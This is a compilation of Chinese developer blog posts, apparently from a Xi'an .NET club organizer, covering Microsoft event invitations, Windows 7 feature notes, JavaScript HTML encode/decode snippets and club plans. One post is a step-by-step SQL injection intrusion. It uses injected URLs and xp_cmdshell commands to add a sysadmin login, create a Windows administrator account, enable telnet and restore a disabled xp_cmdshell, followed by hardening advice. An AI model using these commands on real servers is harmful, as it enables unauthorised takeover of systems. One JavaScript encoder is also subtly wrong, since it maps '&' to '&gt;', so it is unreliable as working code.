尊敬的先生／女士： 

为了加深与西安软件园在嵌入式领域的合作，微软嵌入式部门与西安软件园携手举办主题“共同成长，合作共赢”研讨会，诚邀软件园各位同仁参加！ 

此次活动将由微软嵌入式领导与高新区领导共致开幕词, 并且邀请到了微软各位销售和技术专家演讲，与大家分享微软在中国嵌入式行业投资，以及最新嵌入式产品技术信息。我们还邀请到了微软嵌入式的合作伙伴西安力明科技有限公司，梦奇芯片技术（上海）有限公司，BSQUARE公司，昭营科技公司，以及微软最有价值技术专家带来精彩演讲。同时，我们还为您准备了精美的礼品参会即可获取，以及抽奖大礼以感谢您的参与(每个嘉宾准备了1个4GU盘礼品,
并进行手机抽奖活动)，期待届时与您一起沟通分享！

报名网站注册：http://www.mktgservice.com/xiandiscuss/Register.aspx

评论: 0　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

要在Windows XP中使用此功能，需开启Secondary Logon服务。

9、用命令行设置时区

评论: 0　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

10月25日在西安举行的Windows 7 社区发布活动中我讲了Session1 -- Windows 7 概览。参会的人员达到62人，这个参加人数超过了我的预期,非常开心. 主要讲了一下内容:

一 构建于稳固的基础平台
   1 . 改进的基础平台
      兼容性:  兼容基于Windows Vista构建的应用程序与设备
      安全性:  更加灵活的用户帐户管理（UAC）机制保证安全优先。 Service Hardening
      快速响应:  增强了系统性能与资源管理能力
   2 . 提高开发人员的生产力
      PowerShell 2.0，提供了更为强大的脚本自动化功能
      增强的MSI引擎，使软件的部署更加简单方便
      增强了访问能力与全球范围的产品支持 ELS

二 更加丰富的应用程序体验
   1 . 更多的人性化用户互动
       Windows Touch, 墨水与手势的支持，加上手写识别功能，使我们拥有更多可选择的新输入方式
       新任务栏, 目标与简约的整合，提高了易用性且方便查找
       可扩展的新功能区，添加Office 2007风格的控件，菜单，图库到您的应用程序中
       丰富的动画制作框架，帮助您实现流畅动感的动画效果
   2 .访问硬件的创新
       Direct 2D/3D ，使您可以制作出高保真的图片及影音
       多核心技术的支持，增强了应用程序和设备的性能
      设备存取能力的提升，使得为连接的设备所提供的软件应用，拥有更多更丰富的、客户化体验

三 集成最优质的Windows 与 web 服务

      1 .扩展的针对客户端应用的web 服务
         联合搜索，使您可以在您的客户端应用中，扩展搜索功能，使其不仅实现本地化搜索，还能对互联网上的资源进行搜索
         Internet Explorer 8, Silverlight and Windows Presentation Foundation (WPF)，帮助我们使用通用平台和工具时，能够快速开发出网络到富客户端的应用程序
         Windows Web Services API 实现高性能的web服务的集成
      2 .提供丰富的网络体验
         兼容通用标准的IE8 ，提供“非确定”性的线上服务访问功能
         内置的开发支持工具，IE8使您可以在任何地方编写代码并运行 

以上内容包括了所有的开发新特性,每个小节都值得我们开发人员去深入学习,希望更多的人员能和我一起来学习!!!

评论: 1　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

	10月23日Windows 7将正式全球亮相，走进您的生活。       “让社区激情随Win 7 一同绽放”—— Windows 7 社区发布活动是微软公司为配合Windows 7全球同步上市而在微软.NET俱乐部社区开展的发布活动。10月25日，将在全国18个城市同时举行，包括北京、上海、广州、成都、太原、桂林、西安、武汉、烟台等地的开发人员将引爆社区激情，让开发者的光芒随Win 7一同闪耀！       “Run Win 7 & Run my apps on Win 7!”在这里，广大的技术爱好者不仅可以看到酷炫的Demo，还可以畅所欲言地交流Windows 7的开发；聆听资深开发人员介绍他们的的应用程序，探讨新一代操作系统实用的新特性。        精彩内容不容错过，期待您光临此次开发人员欢聚一堂的技术盛会！ Let's enjoy developers' Windows 7 party!
	活动议程：          时间     主题 01:30pm-02:00pm     签到注册 02:00pm-02:15pm     欢迎致词 02:15pm-02:35pm    windows 7 开发概览 02:35pm-03:15pm     windows 7 应用程序兼容性 03:15pm-03:25pm     中场休息 03:25pm-04:15pm     探秘windows 7 开发新特性 04:15pm-04:30pm     反馈表收集和抽奖环节、结束
	Windows 7 开发概览：         随着Windows 7的全球正式发布，新的操作系统即将到来。本节首先通过Windows 7的酷炫演示，向您展示作为终端用户要升级到Windows 7的强大理由。然后带您进入开发人员关心的领地，概览介绍Windows 7的Ribbon菜单栏、增强的任务栏、文档库和多点触摸的开发新特性。
	Windows 7应用程序兼容性：         自己的应用程序是否能与Windows 7的平台兼容？这是开发人员普遍关心的一个问题。实际上，Windows 7与为Windows XP、Windows Vista 及其服务包编写的大多数应用程序高度兼容。根据第三方的测试结果，目前在中国市场已有91%的应用程序、92%的硬件设备和95%的网站已经实现了与Windows 7的良好兼容。         由于Windows 7在安全模型上做了众多改变，导致某些原先在XP上运行的程序，迁移到Windows 7上存在不兼容的问题。在本节中将介绍这些兼容性问题及产生的原因，并以实际案例展示造成不兼容情况的代码、产生的错误以及相应的解决方案，让您的应用在程序兼容性上轻松过关！
	探秘Windows 7 开发新特性：         Windows 7的众多精彩新特性，已经让广大的技术爱好者跃跃欲试。“Run Win 7 & Run my apps on Win 7!”为了让更多的开发人可以掌握Windows 7的新特性开发技能而捷足先登、赢在起点，本节内容将以Windows 7中的任务栏（Taskbar）开发为例，更深入介绍Windows 7的新特性开发方法。您可以听到新的操作系统的设计目标和解决方案，同时可以通过实际的应用程序学习到Windows 7的开发方法。
	城市名称： 西安 　 活动地址： 西安骊苑大酒店(西安市劳动南路8号) 　 总负责人： 高海东 　 报名方式： 发邮件到 ghd258@163.com  (邮件主题: Windows 7社区发布活动-报名 邮件内容写清姓名和联系电话以及邮件地址等) 　 活动特点： 西安站的活动将在西安骊苑大酒店举办，微软资深微软特约讲师田建辉和微软西安.NET俱乐部负责人高海东将会和社区网友进行深度的互动与交流。
	参会者不但可以学到最新技术而且还会有意外惊喜!!!

·         不干胶（可以贴在电脑上，参会者每人一个，作为小礼品）

·         礼品若干

·         win7扑克

·         Windows 7 介绍光盘

1.    关于礼品（数量不多；打Windows 7的logo）

a.    一等奖：Windows 7 正版光盘

b.    二等奖：蓝色背光计算机鼠标垫

c.    三等奖：读卡器

---

评论: 9　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

	10月23日Windows 7将正式全球亮相，走进您的生活。       “让社区激情随Win 7 一同绽放”—— Windows 7 社区发布活动是微软公司为配合Windows 7全球同步上市而在微软.NET俱乐部社区开展的发布活动。10月24日和25日，将在全国18个城市同时举行，包括北京、上海、广州、成都、太原、桂林、西安、武汉、烟台等地的开发人员将引爆社区激情，让开发者的光芒随Win 7一同闪耀！       “Run Win 7 & Run my apps on Win 7!”在这里，广大的技术爱好者不仅可以看到酷炫的Demo，还可以畅所欲言地交流Windows 7的开发；聆听资深开发人员介绍他们的的应用程序，探讨新一代操作系统实用的新特性。        精彩内容不容错过，期待您光临此次开发人员欢聚一堂的技术盛会！ Let's enjoy developers' Windows 7 party!
	活动议程：          时间     主题 01:30pm-02:00pm     签到注册 02:00pm-02:15pm     欢迎致词 02:15pm-02:35pm    windows 7 开发概览 02:35pm-03:15pm     windows 7 应用程序兼容性 03:15pm-03:25pm     中场休息 03:25pm-04:15pm     探秘windows 7 开发新特性 04:15pm-04:30pm     反馈表收集和抽奖环节、结束
	Windows 7 开发概览：         随着Windows 7的全球正式发布，新的操作系统即将到来。本节首先通过Windows 7的酷炫演示，向您展示作为终端用户要升级到Windows 7的强大理由。然后带您进入开发人员关心的领地，概览介绍Windows 7的Ribbon菜单栏、增强的任务栏、文档库和多点触摸的开发新特性。
	Windows 7应用程序兼容性：         自己的应用程序是否能与Windows 7的平台兼容？这是开发人员普遍关心的一个问题。实际上，Windows 7与为Windows XP、Windows Vista 及其服务包编写的大多数应用程序高度兼容。根据第三方的测试结果，目前在中国市场已有91%的应用程序、92%的硬件设备和95%的网站已经实现了与Windows 7的良好兼容。         由于Windows 7在安全模型上做了众多改变，导致某些原先在XP上运行的程序，迁移到Windows 7上存在不兼容的问题。在本节中将介绍这些兼容性问题及产生的原因，并以实际案例展示造成不兼容情况的代码、产生的错误以及相应的解决方案，让您的应用在程序兼容性上轻松过关！
	探秘Windows 7 开发新特性：         Windows 7的众多精彩新特性，已经让广大的技术爱好者跃跃欲试。“Run Win 7 & Run my apps on Win 7!”为了让更多的开发人可以掌握Windows 7的新特性开发技能而捷足先登、赢在起点，本节内容将以Windows 7中的任务栏（Taskbar）开发为例，更深入介绍Windows 7的新特性开发方法。您可以听到新的操作系统的设计目标和解决方案，同时可以通过实际的应用程序学习到Windows 7的开发方法。
	城市名称： 西安 　 活动地址： 西安骊苑大酒店(西安市劳动南路8号) 　 总负责人： 高海东 　 报名方式： 发邮件到 ghd258@163.com  (邮件主题: Windows 7社区发布活动-报名 邮件内容写清姓名和联系电话以及邮件地址等) 　 活动特点： 西安站的活动将在西安骊苑大酒店举办，微软资深微软特约讲师田建辉和微软西安.NET俱乐部负责人高海东将会和社区网友进行深度的互动与交流。
	参会者不但可以学到最新技术而且还会有意外惊喜!!!

·         不干胶（可以贴在电脑上，参会者每人一个，作为小礼品）

·         礼品若干

·         win7扑克

·         Windows 7 介绍光盘

1.    关于礼品（数量不多；打Windows 7的logo）

a.    一等奖：Windows 7 正版光盘

b.    二等奖：蓝色背光计算机鼠标垫

c.    三等奖：读卡器

---

评论: 0　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

<script type="text/javascript">
function htmlEncode (str){
var div = document.createElement("div");
var text = document.createTextNode(str);
div.appendChild(text);
return div.innerHTML;
}
function htmlDecode (str){
var div = document.createElement("div");
div.innerHTML = str;
return div.innerHTML;
}
</script>

功能同函数名，htmlEncode是让document.createTextNode把html代码转换成文本了，而htmlDecode是通过设置div的innerHTML使得浏览器对文本(编码后的html)做了代码自动调整,还原成了html，从而实现了编码/解码功能。     这个方法在IE Firefox Opera上面均测试成功，别的浏览器应该也不会有多大问题。

都没有经过验证

方法一：

用的浏览器内部转换器实现转换，方法是动态创建一个容器标签元素，如DIV，将要转换的字符串设置为这个元素的innerText，然后返回这个元素的innerHTML，即得到经过HTML编码转换的字符串。

function HTMLEncode ( input )
{
var converter = document.createElement("DIV");
converter.innerText = input;
var output = converter.innerHTML;
converter = null;
return output;
}

当然，还可以用相同的方法实现对字符串的HTMLDecode解码，但有个问题就是紧跟在字符"<"后面的非空字符将连同字符"<"同时显示不出来。当然，对字符串作相应处理是可以解决这个问题的，比如在字符"<"后面加个空格，解码后再去掉就行，这是后话。毕竟，要使用HTMLDecode方法解码，自然是字符串已经经过HTMLEncode方法编码了，而经过HTMLEncode编码后的字符串，是不可能有字符"<"存在的。

function HTMLDecode ( input )
{
var converter = document.createElement("DIV");
converter.innerHTML = input;
var output = converter.innerText;
converter = null;
return output;
}

方法二：

<script    language=javascript>   
   function    HTMLEnCode(str)   
   {   
         var    s    =    "";   
         if    (str.length    ==    0)    return    "";   
         s    =    str.replace(/&/g,    "&gt;");   
         s    =    s.replace(/</g,        "&lt;");   
         s    =    s.replace(/>/g,        "&gt;");   
         s    =    s.replace(/    /g,        "&nbsp;");   
         s    =    s.replace(/\'/g,      "'");   
         s    =    s.replace(/\"/g,      "&quot;");   
         s    =    s.replace(/\n/g,      "<br>");   
         return    s;   
   }   
   function    HTMLDeCode(str)   
   {   
         var    s    =    "";   
         if    (str.length    ==    0)    return    "";   
         s    =    str.replace(/&gt;/g,    "&");   
         s    =    s.replace(/&lt;/g,        "<");   
         s    =    s.replace(/&gt;/g,        ">");   
         s    =    s.replace(/&nbsp;/g,        "    ");   
         s    =    s.replace(/'/g,      "\'");   
         s    =    s.replace(/&quot;/g,      "\"");   
         s    =    s.replace(/<br>/g,      "\n");   
         return    s;   
   }   
   </script>   

评论: 0　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

方法一：
利用xp_cmdshell存储过程来添加windows用户，并提升到管理员权限。
然后依然利用xp_cmdshell来打开telnet服务。最后当然是登录上去了。

方法二：
利用sp_addlogin添加sql用户，同样还要提升权限。
再用查询分析器连接SQL Server,再利用xp_cmdshell打开telnet服务。
最后登录。

两种方法都能够得到shell,我就选择第二种方法。具体过程如下：

就往SQL Server里面添加一个用户吧。
方法如下：http://1.1.1.1/news/default.asp?cataid=98986；use master;exec dbo.sp_addlogin user;
回车后执行，浏览器自动补上了空格，变成：
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
页面依然正常显示，不过就算你打错了也会正常显示的,不能够判断究竟是
否成功。中间的20%吗，其实就是代表空格符的。上面也就相当于在查询分
析器里面执行：
use master;
dbo.sp_addlogin user;注：此处也可以为sp_addlogin user;前面的url里
面同样可以不要dbo，也就是：
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一样的。
现在我们已经添加了一个用户了，密码现在为空，这里就不管这么多了，反正也是
一个过渡的过程，就不加密码了。
如果要改密码，可以这样：dbo.password null,password,user;
dbo.password是修改用密码的存储过程，null是旧密码，password是新密码，
user自然就是用户名了。而在我们这个测试中也就是这样子的：
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主题，现在权限还是不够高，那么就开始提升权限吧，url如下：
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解释一下sysadmin的含义。SQL Server有八种固定服务器角色，具体如下：数据
库创建者（DBCREATOR），磁盘管理员（DISKADMIN），进程管理员（PROCESSADMIN），
安全管理员（SECURITYADMIN），服务器管理员（SEVERADMIN）安装管理员（SETUPADMIN）
，系统管理员（SYSADMIN），大容量管理员（BULKADMIN）当然最高权限的是系
统管理员（SYSADMIN），默认情况下sa也是系统管理员。
dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

用大家经常使用的net命令来对应（本身并没有任何联系，这里拿来对照学习）
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add

好了，我们现在已经实现了添加用户并且提升到sysadmin了。下面要做的是添加windows用户并且
开启telnet服务。
打开我的查询分析器，填入服务器地址，用户民和密码。连接成功了。尝试一下xp_cmdshell是否
可以使用，
use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去，
添加windows用户：
xp_cmdshell ‘net user awen /add‘;
设置好密码：
xp_cmdshell ‘net user awen password‘;
提升到管理员：
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务：
xp_cmdshell ‘net start tlntsvr‘
一个老问题就是还有ntlm这个拦路虎。
没问题，直接在肉鸡上也添加一个用户名和密码相同的账号然后再以这个帐号运行cmd就可以了。
具体的做法-----为cmd.exe创建一个快捷方式，右键点击，在"属性"里面钩上"以其他用户身
份运行"。ok,双击。输入刚才的用户名和密码。更加详细的做法清查看阿布的文章－－－－
最快速登录WIN2K TELNET 服务，在这里可以找到．
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了，可以telnet上去了，就写到这里，后面还进行了一些测试，都是大家所熟悉的就不写了。

再对前面的两种方法进行回顾，其实两种方法还是有区别的。
假如管理员把xp_cmdshell禁止了，第一种方法就无法进行下去了。
有人会说，第二种方法不是也一样要用到xp_cmdshell吗。
正确，不过我们还是有办法恢复过来。SQL server 2000的恢复方法是：
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢复方法是：
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的，同样7.0下面也是找不到xplog70.dll。
把第二种方法也写出来，没有测试，仅供大家参考：
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986；use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986；use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986；use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986；use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录

三 就本例谈谈怎样进行安全防范

上面所讲的是一个特定的例子，但是反应了一个问题，世界上没有绝对的安全。
安全是有很多很多细节所组成起来的。上面例子中的管理员已经做了一些必要的安全措施。
补丁打得也很及时，但是依然存在着很大的问题。不仅仅是asp没有过滤掉特殊字符。还有一些
比较严重的问题，比如说开启了ms ftp服务，这样入侵者就可以通过暴力破解ftp密码来获得
windows的密码。
如果要谈2000的安全设置，要写上厚厚的一本书也可以。下面仅仅就这个例子中来谈谈。

asp编程要注意的一些问题：
1 涉及用户名与口令的程序最好封装在服务器端，尽量少的在ASP文件里出现，
2 涉及到与数据库连接地用户名与口令应给予最小的权限。如本例，事后问了朋友，
他使用的是sa用户，因此我能够运行很多的存储过程。
3 屏蔽很多特殊字符，如; ‘这种危险的字符必须要给过滤掉。
4 在处理类似留言板、BBS等输入框的ASP程序中，最好屏蔽掉HTML、javascript、VBScript
语句，如无特殊要求，可以限定只允许输入字母与数字，屏蔽掉特殊字符。同时对输入字符
的长度进行限制。而且不但在客户端进行输入合法性检查，同时要在服务器端程序中进行类
似检查。
5 要使用access的话，千万注意到保护好你的mdb文件，别让别人下载。

SQL SERVER的安全
本例中SQL SERVER的设置也存在着很多的问题。比如很多存储过程没有drop，是这次入侵中的
功臣，也是安全的极大的隐患。
1 使用安全的密码策略
2 及时更新补丁程序。
　　 与windows一样，SQL SERVER的许多漏洞会由补丁程序来弥补。建议在安装补丁程序之前先
在测试机器上做测试，同时提前做好目标服务器的数据备份。而很多管理员往往不注意给SQL
SERVER打补丁。最近就有Resolution服务远程栈缓冲区溢出漏洞，很多站点都没有注意到。
3 严格控制数据库用户的权限，轻易不要给让用户对表有直接的查询、更改、插入、删除权限，
可以通过给用户以访问视图的权限，以及只具有执行存储过程的权限。在上面也提到了。
4 把危险的和不必要的存储过程删除，
xp_cmdshell，很危险的一个存储过程，能够执行dos命令，可以通过下述SQL语句
use master
sp_dropextendedproc ‘xp_cmdshell‘
不过依然可以通过sp_addextendedproc来恢复，因此最好删除或改名xplog70.dll（sql server 2000）
xpsql70.dll(sql serer 7.0)
以下存储过程也很危险
xp_fileexist，用来确定一个文件是否存在。 xp_getfiledetails，可以获得文件详细资料。
xp_dirtree，可以展开你需要了解的目录，获得所有目录深度。 Xp_getnetname，可以获得
服务器名称。
去掉不需要的注册表访问的存储过程，如下：
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要请丢弃OLE自动存储过程，这些过程包括如下：
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

评论: 0　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

评论: 5　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库

2008/5/10日，微软（西安）.NET俱乐部成立聚会和Visual Studio 2008 社区发布全国巡展在西安成功举办，我们这次活动参加人数非常多，以致我们的资料都不够发。同时我们也得到一些公司和个人对我们俱乐部活动的支持和肯定，其中活跃网络和葡萄成公司也希望我们俱乐部的活动以后能和他们共同研究技术等。

我坚信，只要我们一起努力，我们一定可以把我们西安.NET俱乐部办的更好。为此，我申请加入微软.NET俱乐部（.NET User Group），而且微软很快就批准了我们加入微软.NET俱乐部（.NET User Group）组织。

下面是来自微软批准我们通过的邮件部分内容：

Dear gao haidong:

CONGRATULATIONS! Your group (Microsoft .NET Xi’an Club) has been approved to be an INETA member based on your dedication to the .NET user group community. Welcome to INETA! If you have any questions about the goals of INETA, or if I can personally be a source of encouragement and information for you, do not hesitate to drop me an email!

    有人会问，我们加入微软.NET俱乐部（.NET User Group）组织有什么好处呢，好处当然有了，我们的活动，都可以请微软的讲师来讲课，而且微软给我们提供最新的技术资料以及一些礼品等等。

    在接下来的日子，我们草拟了一份俱乐部的章程，目前正在修改当中，目前我们主要在博客园作为我们的官方网站。活动信息都在这里发布。

俱乐部服务项目目前构想如下：

（以下服务项目均遵循自愿参加的原则）

       培训项目

 活动细则：定期对会员进行需求调查，根据调查结果确认主题并邀请主讲讲师。做到课程有针对性与实效性，竭力满足大多数会员的要求。

    活动形式：公开课

 活动资源：以微软的资深讲师作为主要师资力量，俱乐部中的相关领域的权威作为主要讲师，或根据情况邀请各高级培训机构的经验教师授课

       咨询研讨会

 活动细则: 搜集会员的疑难问题，对于问题进行分门别类，举行专门性的研讨会议。使会员在相互的交流中，开拓视野，不断提升。

    活动资源：邀请来自微软、IT企业或高校的技术骨干或专家作为顾问，主持会议。

                 交流和联谊活动

 活动细则：俱乐部将不定期地举办各种联谊活动，加强会员之间的沟通和联系，促进信息的流动和共享。

    活动形式：茶话会、体育活动等

    活动资源：所有的俱乐部成员均可参与

（以下服务项目均遵循个人申请、组织选拔的原则）

       项目开发

 活动细则：俱乐部会对外和对内进行软件外包的承接，用以给成员提供实践和锻炼的机会

    活动形式：集中开发、分散开发等

 活动资源：根据实际情况，利用成员个人或组织购买相应的设备；一些在开发技术、软件架构、项目管理方面能力突出的成员等

劳动报酬：凡是有营利的项目，除过成本，所有参与者均可根据其劳动情况获取相应报酬；没有盈利的项目，按其劳动付出的成本给予其在本组织的股份比例。

       图书翻译和书编写

活动细则：俱乐部会联系编辑社等，针对于.Net技术相关的外文图书资料等进行翻译和编写工作。

    活动形似：统一规划、分散翻译和编写，集中组合等

    活动资源：一些英文和技术均为突出的会员均可以申请参与。

 劳动报酬：凡是有营利的项目，除过成本，所有参与者均可根据其劳动情况获取相应报酬；没有盈利的项目，按其劳动付出给与其相应比例的股份。

以上内容欢迎个人朋友参与进来讨论，同时希望更多的人员能加入我们的俱乐部，想加入的朋友请写清自己的姓名、所在公司、项目经验、技术特长和联系方式等发邮件到ghd258@gmail.com，邮件主题请写明为“申请加入微软西安.NET俱乐部”。如果在博客园有帐号的朋友可以在http://www.cnblogs.com/ghd258/archive/2006/11/21/567609.html#1220947这里申请加入，注意写明自己的技术特长及联系方式等，最好能发邮件给我。

同时告诉大家一个好消息，上次聚会时说礼品有衬衫和扑克，但是当时扑克没有印好，衬衫当时被其他礼品代替。现在扑克已经印好了，而且已经到我这里了，由于大家平时都不在一起，等下次聚会的时候发给大家，不过要记得来参加活动哦！！！

评论: 16　查看评论　发表评论

最新新闻：
· 知名扩展 Firebug 的简化版登陆 Chrome(2010-02-09 22:59)
· Google 悄悄地启用 1e100.net，打枪地不要(2010-02-09 22:57)
· 从 Google 代码库找到的好东西(2010-02-09 22:46)
· 苹果在线商店临时关闭 或将推新Macbook(2010-02-09 22:39)
· 豆瓣网推出豆瓣电台iPhone客户端(2010-02-09 21:51)

编辑推荐：2010年2月编程语言排行榜

网站导航：博客园首页  个人主页  新闻  闪存  小组  博问  社区  知识库